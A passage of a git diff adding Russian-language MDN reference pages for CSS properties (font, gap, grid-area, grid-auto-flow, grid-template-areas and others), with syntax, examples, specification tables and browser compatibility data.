Значения font-weight интерполируются  с помощью дискретных шагов (кратные 100). Интерполяция происходит в действительном пространстве чисел и превращается в целое число путем округления до ближайшего числа, кратного 100, со значениями посредине между кратными 100 округленными в сторону положительной бесконечности.

+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

HTML

+ +
<p>
+  Alice was beginning to get very tired of sitting by her sister on the
+  bank, and of having nothing to do: once or twice she had peeped into the
+  book her sister was reading, but it had no pictures or conversations in
+  it, 'and what is the use of a book,' thought Alice 'without pictures or
+  conversations?'
+</p>
+
+<div>I'm heavy<br/>
+  <span>I'm lighter</span>
+</div>
+
+ +

CSS

+ +
/* Назначение тексту элемента <p> жирного начертания. */
+p {
+  font-weight: bold;
+}
+
+/* Назначение тексту элемента <div> жирности, которая больше на два уровня,
+чем normal, но все еще меньше, чем стандартный bold. */
+div {
+ font-weight: 600;
+}
+
+/* Назначение тексту элемента <span> жирности,
+которая на один уровень меньше, чем у его родителя. */
+span {
+  font-weight: lighter;
+}
+ +

Result

+ +

{{EmbedLiveSample("Примеры","400","300")}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Fonts', '#font-weight-prop', 'font-weight')}}{{Spec2('CSS3 Fonts')}}No change
{{SpecName('CSS3 Transitions', '#animatable-css', 'font-weight')}}{{Spec2('CSS3 Transitions')}}Defines font-weight as animatable.
{{SpecName('CSS2.1', 'fonts.html#propdef-font-weight', 'font-weight')}}{{Spec2('CSS2.1')}}No change
{{SpecName('CSS1', '#font-weight', 'font-weight')}}{{Spec2('CSS1')}}Initial definition
+ +

{{cssinfo}}

+ +

Совместимость браузеров

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка2.0{{CompatGeckoDesktop(1.0)}}3.03.51.3
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка1.0{{CompatGeckoMobile(1.0)}}6.06.03.1
+
diff --git a/files/ru/web/css/font/index.html b/files/ru/web/css/font/index.html new file mode 100644 index 0000000000..3c6671f2d5 --- /dev/null +++ b/files/ru/web/css/font/index.html @@ -0,0 +1,352 @@ +--- +title: font +slug: Web/CSS/font +translation_of: Web/CSS/font +--- +
{{CSSRef}}
+ +

CSS-свойство font является сокращением для {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ cssxref("font-stretch") }}, {{ Cssxref("font-size") }}, {{ Cssxref("line-height") }}, и {{ Cssxref("font-family") }}. Кроме того, он позволяет установить системный шрифт для элементов интерфейса.

+ +
{{EmbedInteractiveExample("pages/css/font.html")}}
+ + + +

Как и с любым сокращенным свойством, любое значение, которое не указано, устанавливается в начальное значение (возможно, переопределяя значения, ранее установленные с использованием не сокращенных свойств). Свойства {{cssxref ("font-size-Adjust")}} и {{cssxref ("font-kerning")}} хоть и не могут быть напрямую установлены с помощью font, но они также сбрасываются к своим начальным значениям.

+ +

Синтаксис

+ +

The font property may be specified as either a single keyword, which will select a system font, or as a shorthand for various font-related properties.

+ +

If font is specified as a system keyword, it must be one of: caption, icon, menu, message-box, small-caption, status-bar.

+ +

If font is specified as a shorthand for several font-related properties, then:

+ +
    +
  • it must include values for: +
      +
    • {{cssxref("<font-size>")}}
      • +
    • {{cssxref("<font-family>")}}
      • +
    +
    • +
  • it may optionally include values for: +
      +
    • {{cssxref("<font-style>")}}
      • +
    • {{cssxref("<font-variant>")}}
      • +
    • {{cssxref("<font-weight>")}}
      • +
    • {{cssxref("<font-stretch>")}}
      • +
    • {{cssxref("<line-height>")}}
      • +
    +
    • +
  • font-style, font-variant and font-weight must precede font-size
    • +
  • font-variant may only specify the values defined in CSS 2.1, that is normal and small-caps
    • +
  • font-stretch may only be a single keyword value.
    • +
  • line-height must immediately follow font-size, preceded by "/", like this: "16px/3"
    • +
  • font-family must be the last value specified.
    • +
+ +

Значения

+ +
+
<'font-style'>
+
See the {{ Cssxref("font-style") }} CSS property.
+
<'font-variant'>
+
See the {{ Cssxref("font-variant") }} CSS property.
+
<'font-weight'>
+
See the {{ Cssxref("font-weight") }} CSS property.
+
<'font-stretch'>
+
See the {{ Cssxref("font-stretch") }} CSS property.
+
<'font-size'>
+
See the {{ Cssxref("font-size") }} CSS property.
+
<'line-height'>
+
See the {{ cssxref("line-height") }} CSS property.
+
<'font-family'>
+
See the {{ Cssxref("font-family") }} CSS property.
+
+ +

System font values

+ +
+
caption
+
The system font used for captioned controls (e.g., buttons, drop-downs, etc.).
+
icon
+
The system font used to label icons.
+ +
The system font used in menus (e.g., dropdown menus and menu lists).
+
message-box
+
The system font used in dialog boxes.
+
small-caption
+
The system font used for labeling small controls.
+
status-bar
+
The system font used in window status bars.
+
Prefixed system font keywords
+
Browsers often implement several more, prefixed, keywords: Gecko implements -moz-window, -moz-document, -moz-desktop, -moz-info, -moz-dialog, -moz-button, -moz-pull-down-menu, -moz-list, and -moz-field.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +
/* Set the font size to 12px and the line height to 14px.
+   Set the font family to sans-serif */
+p { font: 12px/14px sans-serif }
+
+/* Set the font size to 80% of the parent element
+   or default value (if no parent element present).
+   Set the font family to sans-serif */
+p { font: 80% sans-serif }
+
+/* Set the font weight to bold,
+   the font-style to italic,
+   the font size to large,
+   and the font family to serif. */
+p { font: bold italic large serif }
+
+/* Use the same font as the status bar of the window */
+p { font: status-bar }
+
+ +

Live sample

+ + + +

{{ EmbedLiveSample('live_sample','100%', '440px') }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияStatusComment
{{ SpecName('CSS3 Fonts', '#font-prop', 'font') }}{{ Spec2('CSS3 Fonts') }}Added support for font-stretch values.
{{ SpecName('CSS2.1', 'fonts.html#font-shorthand', 'font-weight') }}{{ Spec2('CSS2.1') }}Added support for keywords.
{{ SpecName('CSS1', '#font', 'font') }}{{ Spec2('CSS1') }}Initial definition.
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.font")}}

diff --git a/files/ru/web/css/gap/index.html b/files/ru/web/css/gap/index.html new file mode 100644 index 0000000000..701ff15856 --- /dev/null +++ b/files/ru/web/css/gap/index.html @@ -0,0 +1,213 @@ +--- +title: gap (grid-gap) +slug: Web/CSS/gap +translation_of: Web/CSS/gap +--- +

Свойство gap CSS задаёт отступы ({{glossary("gutters")}}) между столбцами и строками, а не вдоль края контейнера сетки. Является сокращением для свойств {{CSSxRef("row-gap")}} и {{CSSxRef("column-gap")}}. {{CSSRef}}

+ +

The gap CSS property sets the gaps ({{glossary("gutters")}}) between rows and columns. It is a shorthand for {{CSSxRef("row-gap")}} and {{CSSxRef("column-gap")}}.

+ + + +
{{EmbedInteractiveExample("pages/css/grid-gap.html")}}
+ +
+

CSS Grid Layout initially defined the grid-gap property. This prefixed property is being replaced by gap. However, in order to support browsers that implemented grid-gap and not gap for grid, you will need to use the prefixed property as in the interactive example above.

+
+ +

Syntax

+ +
/* One <length> value */
+gap: 20px;
+gap: 1em;
+gap: 3vmin;
+gap: 0.5cm;
+
+/* One <percentage> value */
+gap: 16%;
+gap: 100%;
+
+/* Two <length> values */
+gap: 20px 10px;
+gap: 1em 0.5em;
+gap: 3vmin 2vmax;
+gap: 0.5cm 2mm;
+
+/* One or two <percentage> values */
+gap: 16% 100%;
+gap: 21px 82%;
+
+/* calc() values */
+gap: calc(10% + 20px);
+gap: calc(20px + 10%) calc(10% - 5px);
+
+/* Global values */
+gap: inherit;
+gap: initial;
+gap: unset;
+
+ +

This property is specified as a value for <'row-gap'> followed optionally by a value for <'column-gap'>. If <'column-gap'> is omitted, it’s set to the same value as <'row-gap'>.

+ +

<'row-gap'> and <'column-gap'> are each specified as a <length> or a <percentage>.

+ +

Values

+ +
+
{{CSSxRef("<length>")}}
+
Is the width of the gutter separating the grid lines.
+
{{CSSxRef("<percentage>")}}
+
Is the width of the gutter separating the grid lines, relative to the dimension of the element.
+
+ +

Formal syntax

+ +
{{CSSSyntax}}
+ +

Examples

+ +

Flex layout

+ +

HTML

+ +
<div id="flexbox">
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+</div>
+
+ +

CSS

+ +
#flexbox {
+  display: flex;
+  flex-wrap: wrap;
+  width: 300px;
+  gap: 20px 5px;
+}
+
+#flexbox > div {
+  border: 1px solid green;
+  background-color: lime;
+  flex: 1 1 auto;
+  width: 100px;
+  height: 50px;
+
+}
+
+ +

Result

+ +

{{EmbedLiveSample("Flex_layout", "auto", "120px")}}

+ +

Grid layout

+ +

HTML

+ +
<div id="grid">
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+</div>
+ +

CSS

+ + + +
#grid {
+  display: grid;
+  height: 200px;
+  grid-template: repeat(3, 1fr) / repeat(3, 1fr);
+  gap: 20px 5px;
+}
+
+#grid > div {
+  border: 1px solid green;
+  background-color: lime;
+}
+
+ +

Result

+ +

{{EmbedLiveSample("Grid_layout", "auto", "120px")}}

+ +

Multi-column layout

+ +

HTML

+ +
<p class="content-box">
+  This is some multi-column text with a 40px column
+  gap created with the CSS <code>gap</code> property.
+  Don't you think that's fun and exciting? I sure do!
+</p>
+
+ +

CSS

+ +
.content-box {
+  column-count: 3;
+  gap: 40px;
+}
+
+ +

Result

+ +

{{EmbedLiveSample("Multi-column_layout", "auto", "120px")}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Box Alignment", "#propdef-gap", "gap")}}{{Spec2("CSS3 Box Alignment")}}Initial definition
+ +

{{CSSInfo}}

+ +

Browser compatibility

+ + + +

Support in Flex layout

+ +

{{Compat("css.properties.gap.flex_context")}}

+ +

Support in Grid layout

+ +

{{Compat("css.properties.gap.grid_context")}}

+ +

Support in Multi-column layout

+ +

{{Compat("css.properties.gap.multicol_context")}}

+ +

See also

+ + diff --git a/files/ru/web/css/general_sibling_combinator/index.html b/files/ru/web/css/general_sibling_combinator/index.html new file mode 100644 index 0000000000..5c076c26b6 --- /dev/null +++ b/files/ru/web/css/general_sibling_combinator/index.html @@ -0,0 +1,110 @@ +--- +title: Селектор следующего элемента +slug: Web/CSS/General_sibling_combinator +tags: + - смежные селекторы CSS спецификация комбинатор +translation_of: Web/CSS/General_sibling_combinator +--- +
{{CSSRef("Selectors")}}
+ +

Описание

+ +

Общий комбинатор смежных селекторов (~) разделяет два селектора и находит второй элемент только если ему предшествует первый, и они оба имеют общего родителя. Свойства будут применены ко всем элементам, указанным в правой части, следующим за элементом, указанным в левой части.

+ +

Синтаксис

+ +
element ~ element { style properties }
+
+ +

Пример

+ +
p ~ span {
+  color: red;
+}
+ +
<span>Это не красный.</span>
+<p>Здесь параграф.</p>
+<code>Тут какой-то код.</code>
+<span>А здесь span.</span>
+ +

{{ EmbedLiveSample('Example', 280, 120) }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{ SpecName('CSS4 Selectors', '#general-sibling-combinators', 'following-sibling combinator') }}{{Spec2('CSS4 Selectors')}} 
{{ SpecName('CSS3 Selectors', '#general-sibling-combinators', 'general sibling combinator') }}{{Spec2('CSS3 Selectors')}} 
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка1.0{{CompatGeckoDesktop("1")}}793
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьFirefox Mobile (Gecko)AndroidIE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/grid-area/index.html b/files/ru/web/css/grid-area/index.html new file mode 100644 index 0000000000..63c0dcaeaf --- /dev/null +++ b/files/ru/web/css/grid-area/index.html @@ -0,0 +1,197 @@ +--- +title: grid-area +slug: Web/CSS/grid-area +translation_of: Web/CSS/grid-area +--- +

CSS свойство grid-area - это сокращенная форма записи для свойств {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} и {{cssxref("grid-column-end")}}. Определяет размер и местоположение грид-элемента в пределах {{glossary("grid rows", "grid row")}}. Задает края {{glossary("grid areas", "грид-области")}} грид-элемента.

+ +
/* Ключевые слова в качестве значений */
+grid-area: auto;
+grid-area: auto / auto;
+grid-area: auto / auto / auto;
+grid-area: auto / auto / auto / auto;
+
+/* <custom-ident> значения */
+grid-area: some-grid-area;
+grid-area: some-grid-area / another-grid-area;
+
+/* <integer> && <custom-ident>? значения */
+grid-area: some-grid-area 4;
+grid-area: some-grid-area 4 / 2 another-grid-area;
+
+/* span && [ <integer> || <custom-ident> ] значения */
+grid-area: span 3;
+grid-area: span 3 / span some-grid-area;
+grid-area: 2 span / another-grid-area span;
+
+/* Global values */
+grid-area: inherit;
+grid-area: initial;
+grid-area: unset;
+
+ +

Если заданы четыре значения <grid-line> , то первое значение определяет grid-row-start , второе значение -  grid-column-start , третье значение -  grid-row-end и четвертое значение -  grid-column-end.

+ +

Если  grid-column-end опущено, а grid-column-start в значении {{cssxref("<custom-ident>")}}, grid-column-end устанавливается в это значение <custom-ident>; иначе оно устанавливается в значение auto.

+ +

Когда grid-row-end опущено, а grid-row-start в значении <custom-ident>, то grid-row-end устанавливается в это значение <custom-ident>; иначе оно устанавливается в значение auto.

+ +

Когда grid-column-start опущено, а grid-row-start в значении <custom-ident>, все четыре свойства длинной записи устанавливаются в это значение, иначе они устанавливаются в значение auto.

+ +

Свойство grid-area также может быть установлено в значение {{cssxref("<custom-ident>")}} , которое действует, как имя области. В дальнейшем разместить область в гриде по имени можно с помощью свойства {{cssxref("grid-template-areas")}}.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +

Значения

+ +
+
auto
+
- ключевое слово, говорящее о том, что свойство не вносит никаких изменений в размещение грид-элемента. На элемент действует авторазмещение или размер элемента по умолчанию  1.  (то есть, элемент занимает одну ячейку грид-сетки в заданном направлении)
+
<custom-ident>
+
если есть именованная линия с именем  '<custom-ident>-start'/'<custom-ident>-end', то грид-элемент привязывается к первой из таких линий. +

Замечание: Именнованные грид-области автоматически генерируют неявные именнованные линии с именами подобного формата, поэтому запись grid-area: foo; выберет начальный/конечный край этой именованной грид-области (если, конечно, другая линия с именем foo-start/foo-end не была явно определена раньше).

+ +

В противном случае, значение расценивается, как если бы число  1 было задано вместе с  <custom-ident>.

+
+
<integer> && <custom-ident>?
+
Contributes the nth grid line to the grid item’s placement. If a negative integer is given, it instead counts in reverse, starting from the end edge of the explicit grid. +

If a name is given as a {{cssxref("<custom-ident>")}}, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines are assumed to have that name for the purpose of finding this position.

+ +

An {{cssxref("<integer>")}} value of 0 is invalid.

+
+
span && [ <integer> || <custom-ident> ]
+
Contributes a grid span to the grid item’s placement such that the corresponding edge of the grid item’s grid area is n lines from the opposite edge. +

If a name is given as a {{cssxref("<custom-ident>")}}, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines on the side of the explicit grid corresponding to the search direction are assumed to have that name for the purpose of counting this span.

+ +

If the {{cssxref("<integer>")}} is omitted, it defaults to 1. Negative integers or 0 are invalid.

+
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Example

+ +

HTML content

+ +
<div id="grid">
+  <div id="item1"></div>
+  <div id="item2"></div>
+  <div id="item3"></div>
+</div>
+ +

CSS content

+ +
#grid {
+  display: grid;
+  height: 100px;
+  grid-template: repeat(4, 1fr) / 50px 100px;
+}
+
+#item1 {
+  background-color: lime;
+  grid-area: 2 / 2 / auto / span 3;
+}
+
+#item2 {
+  background-color: yellow;
+}
+
+#item3 {
+  background-color: blue;
+}
+
+ +

{{EmbedLiveSample("Example", "100%", "150px")}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Grid", "#propdef-grid-area", "grid-area")}}{{Spec2("CSS3 Grid")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("css.properties.grid-area")}}

+ +

See also

+ +
    +
  • Related CSS properties: {{cssxref("grid-row")}}, {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-column")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-template-areas")}}
    • +
  • Grid Layout Guide: Grid template areas
    • +
  • Video tutorial: Grid Template Areas
    • +
+ + diff --git a/files/ru/web/css/grid-auto-flow/index.html b/files/ru/web/css/grid-auto-flow/index.html new file mode 100644 index 0000000000..1fdf76af20 --- /dev/null +++ b/files/ru/web/css/grid-auto-flow/index.html @@ -0,0 +1,207 @@ +--- +title: grid-auto-flow +slug: Web/CSS/grid-auto-flow +translation_of: Web/CSS/grid-auto-flow +--- +

CSS-свойство управляет поведением автоматически размещаемых элементов, точно указывая, как они попадают в сетку.

+ +
{{EmbedInteractiveExample("pages/css/grid-auto-flow.html")}}
+ + + +

Синтаксис

+ +
/* Ключевые свойства и значения */
+grid-auto-flow: row;
+grid-auto-flow: column;
+grid-auto-flow: dense;
+grid-auto-flow: row dense;
+grid-auto-flow: column dense;
+
+/* Глобальные значения */
+grid-auto-flow: inherit;
+grid-auto-flow: initial;
+grid-auto-flow: unset;
+
+ +

Свойство можно использовать в двух вариантах:

+ +
    +
  • с одним ключевым значением: row, column, или dense.
    • +
  • с двумя значениями: row dense или column dense.
    • +
+ +

Значения

+ +
+
row
+
Ключевое слово, указывающее размещать элементы, заполняя поочередно каждую строку и добавляя новые строки по мере необходимости. Это значение используется по умолчанию.
+
column
+
Ключевое слово, указывающее размещать элементы, заполняя поочередно каждый столбец и добавляя новые столбцы по мере необходимости.
+
dense
+
Ключевое слово, указывающее заполнять элементами свободное пространство сетки. Это может привести к нарушению порядка, т.к. элементы будут выстраиваться не в соответствии со своим расположением, а в соответсвии с размером.
+

+ Если свойство не используется, алгоритм разместит элементы строго по порядку, вне зависимости от наличия свободных ячеек.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML Content

+ +
<div id="grid">
+  <div id="item1"></div>
+  <div id="item2"></div>
+  <div id="item3"></div>
+  <div id="item4"></div>
+  <div id="item5"></div>
+</div>
+<select id="direction" onchange="changeGridAutoFlow()">
+  <option value="column">column</option>
+  <option value="row">row</option>
+</select>
+<input id="dense" type="checkbox" onchange="changeGridAutoFlow()">
+<label for="dense">dense</label>
+
+ +

CSS Content

+ +
#grid {
+  height: 200px;
+  width: 200px;
+  display: grid;
+  grid-gap: 10px;
+  grid-template: repeat(4, 1fr) / repeat(2, 1fr);
+  grid-auto-flow: column;  /* or 'row', 'row dense', 'column dense' */
+}
+
+#item1 {
+  background-color: lime;
+  grid-row-start: 3;
+}
+
+#item2 {
+  background-color: yellow;
+}
+
+#item3 {
+  background-color: blue;
+}
+
+#item4 {
+  grid-column-start: 2;
+  background-color: red;
+}
+
+#item5 {
+  background-color: aqua;
+}
+ + + +

{{EmbedLiveSample("Пример", "200px", "230px")}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Grid", "#propdef-grid-auto-flow", "grid-auto-flow")}}{{Spec2("CSS3 Grid")}}Initial definition
+ +

{{cssinfo}}

+ +

Браузерная совместимость

+ + + +

{{Compat("css.properties.grid-auto-flow")}}

+ +

Смотрите также

+ + + + diff --git a/files/ru/web/css/grid-gap/index.html b/files/ru/web/css/grid-gap/index.html new file mode 100644 index 0000000000..b32f0c2410 --- /dev/null +++ b/files/ru/web/css/grid-gap/index.html @@ -0,0 +1,193 @@ +--- +title: grid-gap +slug: Web/CSS/grid-gap +translation_of: Web/CSS/gap +--- +

{{Deprecated_Header}}

+ +
+

Примечание. Свойство CSS с разделительной сеткой было переименовано в свойство prefix-less {{cssxref('gap')}}.

+
+ +

Свойство CSS grid-gap является сокращенным свойством для {{cssxref("grid-row-gap")}} и {{cssxref("grid-column-gap")}}, определяющего желоба между строками и столбцами сетки.

+ +
{{EmbedInteractiveExample("pages/css/grid-gap.html")}}
+ + + +

Syntax

+ +
/* Одно <length> значение */
+grid-gap: 20px;
+grid-gap: 1em;
+grid-gap: 3vmin;
+grid-gap: 0.5cm;
+
+/* Одно <percentage> значение */
+grid-gap: 16%;
+grid-gap: 100%;
+
+/* Два <length> значения */
+grid-gap: 20px 10px;
+grid-gap: 1em 0.5em;
+grid-gap: 3vmin 2vmax;
+grid-gap: 0.5cm 2mm;
+
+/* Один или два <percentage> значения */
+grid-gap: 16% 100%;
+grid-gap: 21px 82%;
+
+/* calc() значения */
+grid-gap: calc(10% + 20px);
+grid-gap: calc(20px + 10%) calc(10% - 5px);
+
+/* Глобальные значения */
+grid-gap: inherit;
+grid-gap: initial;
+grid-gap: unset;
+
+ +

Это свойство указывается как значение для <'grid-row-gap'> , за которым необязательно следует значение для <'grid-column-gap'>. Если <'grid-column-gap'> опущено, для него устанавливается то же значение, что и <'grid-row-gap'>.

+ +

Каждое из свойств <'grid-row-gap'> и <'grid-column-gap'> указываются как <length> или <percentage>.

+ +

Значения

+ +
+
<length>
+
Ширина отступа, разделяющего линии сетки.
+
<percentage>
+
Ширина отступа, разделяющего линии сетки относительно размеров элемента.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

HTML Контент

+ +
<div id="grid">
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+  <div></div>
+</div>
+ +

CSS Контент

+ +
#grid {
+  display: grid;
+  height: 200px;
+  grid-template: repeat(3, 1fr) / repeat(3, 1fr);
+  grid-gap: 20px 5px;
+}
+
+#grid > div {
+  background-color: lime;
+}
+
+ +

{{EmbedLiveSample("Example", "100%", "200px")}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS3 Box Alignment", "#propdef-grid-gap", "grid-gap")}}{{Spec2("CSS3 Box Alignment")}}Устарело в пользу gap
{{SpecName("CSS3 Grid", "#gutters", "grid-gap")}}{{Spec2("CSS3 Grid")}}Начальное определение
+ +

{{cssinfo}}

+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.grid-gap")}}

+ +

Смотрите также

+ +
    +
  • Prefixless CSS equivalents: {{cssxref("row-gap")}}, {{cssxref("column-gap")}}, {{cssxref("gap")}}
    • +
  • Related CSS properties: {{cssxref("grid-row-gap")}}, {{cssxref("grid-column-gap")}}
    • +
  • Grid Layout Guide: Basic concepts of grid layout - Gutters
    • +
+ + diff --git a/files/ru/web/css/grid-row-start/index.html b/files/ru/web/css/grid-row-start/index.html new file mode 100644 index 0000000000..99db2ff61d --- /dev/null +++ b/files/ru/web/css/grid-row-start/index.html @@ -0,0 +1,230 @@ +--- +title: grid-row-start +slug: Web/CSS/grid-row-start +translation_of: Web/CSS/grid-row-start +--- +

Свойство CSS grid-row-start определяет начальную позицию элемента грид в строке, добавляя линию, span или ничего (автоматически) к его расположению в сетке, тем самым определяя начальный край inline-элемента его {{glossary("grid areas", "grid area")}}.

+ +
{{EmbedInteractiveExample("pages/css/grid-row-start.html")}}
+ + + +

Syntax

+ +
/* Keyword value */
+grid-row-start: auto;
+
+/* <custom-ident> values */
+grid-row-start: somegridarea;
+
+/* <integer> + <custom-ident> values */
+grid-row-start: 2;
+grid-row-start: somegridarea 4;
+
+/* span + <integer> + <custom-ident> values */
+grid-row-start: span 3;
+grid-row-start: span somegridarea;
+grid-row-start: 5 somegridarea span;
+
+/* Global values */
+grid-row-start: inherit;
+grid-row-start: initial;
+grid-row-start: unset;
+
+ +

This property is specified as a single <grid-line> value. A <grid-line> value can be specified as:

+ +
    +
  • either the auto keyword
    • +
  • or a <custom-ident> value
    • +
  • or an <integer> value
    • +
  • or both <custom-ident> and <integer>, separated by a space
    • +
  • or the keyword span together with either a <custom-ident> or an <integer> or both.
    • +
+ +

Values

+ +
+
auto
+
Ключевое слово, указывающее, что свойство никак не влияет на размещение элемента сетки, обозначающее автоматическое размещение, автоматический диапазон или диапазон по умолчанию, равный 1.
+
<custom-ident>
+
Если есть именованная строка с именем '<custom-ident>-start', он вносит первую такую ​​строку в размещение элемента сетки.
+
+

Note: Named grid areas automatically generate implicit named lines of this form, so specifying grid-row-start: foo; will choose the start edge of that named grid area (unless another line named foo-start was explicitly specified before it).

+ +

В противном случае это обрабатывается так, как если бы целое число 1 было указано вместе с <custom-ident>.

+
+
<integer> && <custom-ident>?
+
Вносит n-ю линию сетки в размещение элемента сетки. Если задано отрицательное целое число, вместо этого начинается обратный отсчет, начиная с конечного края явной сетки. Если имя задано как <custom-ident>, подсчитываются только строки с этим именем. Если существует недостаточно строк с таким именем, предполагается, что все неявные линии сетки имеют это имя для нахождения этой позиции.
+
+

An {{cssxref("integer")}} value of 0 is invalid.

+
+
span && [ <integer> || <custom-ident> ]
+
Contributes a grid span to the grid item’s placement; such that the row start edge of the grid item’s grid area is n lines from the end edge. +

If a name is given as a <custom-ident>, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines on the side of the explicit grid, corresponding to the search direction, are assumed to have that name for the purpose of counting this span.

+ +

If the <integer> is omitted, it defaults to 1. Negative integers or 0 are invalid.

+ +

The <custom-ident> cannot take the span value.

+
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Examples

+ +
<div class="wrapper">
+  <div class="box1">One</div>
+  <div class="box2">Two</div>
+  <div class="box3">Three</div>
+  <div class="box4">Four</div>
+  <div class="box5">Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 3;
+  grid-row-end: 5;
+}
+
+ + + +

{{ EmbedLiveSample('Examples', '230', '420') }}

+ + + +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Grid", "#propdef-grid-row-start", "grid-row-start")}}{{Spec2("CSS3 Grid")}}Initial definition
+ +

{{cssinfo}}

+ +

Browser compatibility

+ + + + + +

{{Compat("css.properties.grid-row-start")}}

+ + + +

See also

+ +
    +
  • Related CSS properties: {{cssxref("grid-row-end")}}, {{cssxref("grid-row")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-column")}}
    • +
  • Grid Layout Guide: Line-based placement with CSS Grid
    • +
  • Video tutorial: Line-based placement
    • +
+ + diff --git a/files/ru/web/css/grid-template-areas/index.html b/files/ru/web/css/grid-template-areas/index.html new file mode 100644 index 0000000000..5717fa5842 --- /dev/null +++ b/files/ru/web/css/grid-template-areas/index.html @@ -0,0 +1,185 @@ +--- +title: grid-template-areas +slug: Web/CSS/grid-template-areas +translation_of: Web/CSS/grid-template-areas +--- +

CSS свойство grid-template-areas определяет название {{glossary("grid-области")}}.

+ +
{{EmbedInteractiveExample("pages/css/grid-template-areas.html")}}
+ + + +

Области не связаны с конкретным grid элементом, но можно ссылаться с grid-placement свойств {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, and their shorthands {{cssxref("grid-row")}}, {{cssxref("grid-column")}}, and {{cssxref("grid-area")}}.

+ +

Синтаксис

+ +
/* Keyword value */
+grid-template-areas: none;
+
+/* <string> values */
+grid-template-areas: "a b";
+grid-template-areas: "a b b"
+                     "a c d";
+
+/* Global values */
+grid-template-areas: inherit;
+grid-template-areas: initial;
+grid-template-areas: unset;
+
+ +

Значения

+ +
+
none
+
Контейнер не определяет никаких названий grid-области.
+
{{cssxref("<string>")}}+
+
Строка создается каждым переносом строки, тогда как каждая колонка создается в каждой из созданных строк. Несколько прописанных маркеров в строке или через строки создает одну названную grid-область что покрывает соответствующие ячейки. Прописанные ячейки которые не создают прямоугольник - являются недействительны.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML

+ +
<section id="page">
+  <header>Header</header>
+  <nav>Navigation</nav>
+  <main>Main area</main>
+  <footer>Footer</footer>
+</section>
+ +

CSS

+ +
#page {
+  display: grid;
+  width: 100%;
+  height: 250px;
+  grid-template-areas: "head head"
+                       "nav  main"
+                       "nav  foot";
+  grid-template-rows: 50px 1fr 30px;
+  grid-template-columns: 150px 1fr;
+}
+
+#page > header {
+  grid-area: head;
+  background-color: #8ca0ff;
+}
+
+#page > nav {
+  grid-area: nav;
+  background-color: #ffa08c;
+}
+
+#page > main {
+  grid-area: main;
+  background-color: #ffff64;
+}
+
+#page > footer {
+  grid-area: foot;
+  background-color: #8cffa0;
+}
+
+ +

Результат

+ +

{{EmbedLiveSample("Example", "100%", "250px")}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Grid", "#propdef-grid-template-areas", "grid-template-areas")}}{{Spec2("CSS3 Grid")}}Initial definition
+ +

{{cssinfo}}

+ +

Совместимость браузеров

+ + + +

{{Compat("css.properties.grid-template-areas")}}

+ +

Смотрите также

+ +
    +
